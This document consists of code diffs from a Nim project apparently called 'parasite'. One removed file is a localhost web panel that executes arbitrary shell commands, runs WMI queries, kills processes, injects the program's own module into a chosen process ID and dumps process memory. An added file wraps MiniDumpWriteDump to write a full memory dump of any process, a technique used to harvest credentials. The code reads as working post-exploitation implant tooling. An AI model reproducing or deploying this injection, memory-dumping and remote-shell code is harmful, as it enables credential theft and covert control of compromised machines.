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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,128 +1,5 @@ | ||
| import htmlgen | ||
| import jester | ||
| import psapi | ||
| import nimja/parser | ||
| import os | ||
| import shell | ||
| import environ | ||
| import strtabs | ||
| import net | ||
| import injector | ||
| import strutils | ||
| when defined(wmi): | ||
| import wmi | ||
| when defined(dumper): | ||
| import dumper | ||
|
|
||
| const | ||
| BINDADDR = "127.0.0.1" | ||
| HTTPDIR = getScriptDir() / "http" | ||
| BULMACSS = staticRead HTTPDIR / "bulma.min.css" | ||
| HTMX = staticRead HTTPDIR / "htmx.min.js" | ||
|
|
||
| proc pickPort(minPort = 5000, tries=64): Port {.inline.} = | ||
| ## Try to bind a port to determine if it can be used by http module. If port | ||
| ## is used, increase port number and try again. | ||
| ## | ||
| ## Race condition might happen here if port is bound in between check and | ||
| ## actual http server bind. | ||
| for i in minPort..(minPort+tries): | ||
| var server = newSocket() | ||
| try: | ||
| server.bindAddr(Port(i), address = BINDADDR) | ||
| server.listen() | ||
| server.close() | ||
| except OSError: | ||
| continue | ||
| return Port(i) | ||
|
|
||
| proc renderIndex(request: Request): string = | ||
| let envInfo = getEnvInfo() | ||
| compileTemplateFile HTTPDIR / "index.nwt" | ||
|
|
||
| proc renderModules(request: Request, mods: ModuleList): string = | ||
| let envInfo = getEnvInfo() | ||
| compileTemplateFile HTTPDIR / "modules.nwt" | ||
|
|
||
| proc renderProcesses(request: Request, ps: ProcessList): string = | ||
| let envInfo = getEnvInfo() | ||
| compileTemplateFile HTTPDIR / "processes.nwt" | ||
|
|
||
| proc renderShell(request: Request, cmd = ""): string = # TODO: separate the api request (command execution) | ||
| let envInfo = getEnvInfo() | ||
| var | ||
| output: string | ||
| exCode: int | ||
| if cmd != "": | ||
| (output, exCode) = runShell(cmd) | ||
| return output | ||
| else: | ||
| output = "Command output..." | ||
| compileTemplateFile HTTPDIR / "shell.nwt" | ||
|
|
||
| proc renderWmi(request: Request, namespace = "", query = ""): string = | ||
| let envInfo = getEnvInfo() | ||
| var output = "Query output..." | ||
| when defined(wmi): | ||
| if request.reqMethod == HttpPost: | ||
| output = queryWmi(namespace, query) | ||
| # echo namespace | ||
| # echo query | ||
| # echo output | ||
| compileTemplateFile HTTPDIR / "wmi.nwt" | ||
|
|
||
| router paraRoutes: | ||
| get "/": | ||
| resp renderIndex(request) | ||
| get "/modules": | ||
| let mods = getModulesInfo() | ||
| resp renderModules(request, mods) | ||
| get "/processes": | ||
| let ps = getRunningProcesses() | ||
| resp renderProcesses(request, ps) | ||
| post "/modules/load": | ||
| if loadModule(@"modname"): | ||
| redirect "/modules" | ||
| else: | ||
| resp p("unable to load module.") | ||
| delete "/modules/unload/@modName": | ||
| if unloadModule(@"modName"): | ||
| resp "" | ||
| else: | ||
| resp p("unable to unload module.") # TODO | ||
| get "/processes/dump/@targetPid": | ||
| when defined(dumper): | ||
| discard dumpToFile(@"targetPid".parseInt(), r"C:\Temp\image_" & @"targetPid" & ".dmp") # EXPERIMENTAL | ||
| redirect "/processes" | ||
| get "/processes/inject/@targetPid": | ||
| injectModule(@"targetPid".parseInt(), getMyPath()) | ||
| redirect "/processes" | ||
| delete "/processes/kill/@targetPid": | ||
| terminatePid(@"targetPid".parseInt()) | ||
| resp "" # TODO: check if success. | ||
| get "/shell": | ||
| resp renderShell(request) | ||
| put "/shell": | ||
| resp renderShell(request, @"cmd") | ||
| get "/wmi": | ||
| resp renderWmi(request) | ||
| post "/wmi": | ||
| resp renderWmi(request, @"namespace", @"query") | ||
| get "/quit": | ||
| terminateThread() | ||
| get "/bulma.min.css": | ||
| resp(content=BULMACSS, contentType="text/css;charset=utf=8") | ||
| get "/htmx.min.js": | ||
| resp(content=HTMX, contentType="application/javascript;charset=utf-8") | ||
|
|
||
| proc runHttpServ*() {.stdcall.} = | ||
| ## Serve http module. | ||
| let port = pickPort() | ||
| let settings = newSettings(port=port, bindAddr=BINDADDR) | ||
| var jester = initJester(paraRoutes, settings=settings) | ||
| jester.serve() | ||
|
|
||
| when isMainModule: | ||
| import parasite/httpserv | ||
| proc NimMain*() {.cdecl, importc, exportc, dynlib, used.} # psapi getMyPath() requires it | ||
|
|
||
| runHttpServ() |
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,27 @@ | ||
| import strutils | ||
| import std/[paths, macros] | ||
| import utils | ||
|
|
||
| proc getVer(): string {.compileTime.} = | ||
| ## Returns parasite version string. | ||
| let nimble = staticRead(Path(getProjectPath()).parentDir() / "parasite.nimble") | ||
| for l in nimble.splitLines(): | ||
| if l.strip().startsWith("version"): | ||
| return l.split('"')[1] | ||
| return "<unknown>" | ||
|
|
||
| proc getCompileEnv(): string {.compileTime.} = | ||
| ## Returns compilation details for easier tracking. | ||
| let user = staticExec("whoami").strip() | ||
| let host = staticExec("hostname").strip() | ||
| return user & "@" & host | ||
|
|
||
| const | ||
| BINDADDR* = "127.0.0.1" | ||
| SCRIPTDIR* = getProjectPath() | ||
| HTTPDIR* = SCRIPTDIR / "parasite" / "http" | ||
| BULMACSS* = staticRead HTTPDIR / "bulma.min.css" | ||
| HTMX* = staticRead HTTPDIR / "htmx.min.js" | ||
| ARCH* = $(sizeof(int)*8) | ||
| VER* = getVer() | ||
| COMPILED* = getCompileEnv() |
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,35 @@ | ||
| import winim | ||
|
|
||
| type | ||
| MINIDUMP_TYPE = enum | ||
| MiniDumpWithFullMemory = 0x00000002 | ||
|
|
||
| proc MiniDumpWriteDump*( | ||
| hProcess: HANDLE, | ||
| processId: DWORD, | ||
| file: HANDLE, | ||
| dumpType: MINIDUMP_TYPE, | ||
| exceptionParam: PTR, | ||
| userStreamParam: PTR, | ||
| callbackParam: PTR | ||
| ): BOOL {.importc: "MiniDumpWriteDump", dynlib: r"C:\Windows\System32\dbghelp.dll", stdcall.} | ||
|
|
||
| proc dumpToFile*(targetPid: int, dumpFile: string): bool = | ||
| result = false | ||
| var hProc = OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ, false, targetPid.DWORD) | ||
| if not bool(hProc): | ||
| raise newException(OSError, "Unable to obtain process handle.") | ||
| try: | ||
| var df = open(dumpFile, fmWrite) | ||
| result = bool(MiniDumpWriteDump( | ||
| hProc, | ||
| targetPid.DWORD, | ||
| df.getOsFileHandle(), | ||
| MiniDumpWithFullMemory, | ||
| NULL, | ||
| NULL, | ||
| NULL | ||
| )) | ||
| df.close() | ||
| finally: | ||
| CloseHandle(hProc) |
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